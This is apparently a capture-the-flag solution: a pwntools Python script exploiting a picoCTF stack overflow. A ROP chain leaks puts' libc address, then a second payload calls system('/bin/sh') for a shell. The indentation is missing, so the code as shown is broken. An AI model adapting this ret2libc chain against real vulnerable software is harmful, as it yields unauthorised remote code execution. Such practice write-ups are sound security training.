Solution
#!/usr/bin/env python3
from pwn import *
from termcolor import colored
exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
rop = ROP(exe)
context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *main
c
"""
def find_offset():
r = process([exe.path])
gdb.attach(r)
p = cyclic(1000)
r.sendline(p)
r.interactive()
# main script
def conn():
if args.REMOTE:
r = remote("mercury.picoctf.net", 42072)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=dbginit)
return r
def main():
r = conn()
offset = b'i' * cyclic_find(0x6261616a)
puts_plt = exe.plt["puts"]
puts_got = exe.got["puts"]
pop_ret = (rop.find_gadget(["pop rdi","ret"]))[0]
main_addr = exe.symbols["main"]
ret = (rop.find_gadget(["ret"]))[0]
payload = offset + p64(pop_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.clean()
r.sendline(payload)
r.recvuntil(b'id\n')
leak = u64(r.recv(6).ljust(8,b'\x00'))
libc.address = leak - libc.symbols["puts"]
print(hex(libc.address))
binsh = next(libc.search(b'/bin/sh\0'))
payload = offset + p64(ret) + p64(pop_ret) + p64(binsh) + p64(libc.symbols["system"])
r.clean()
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()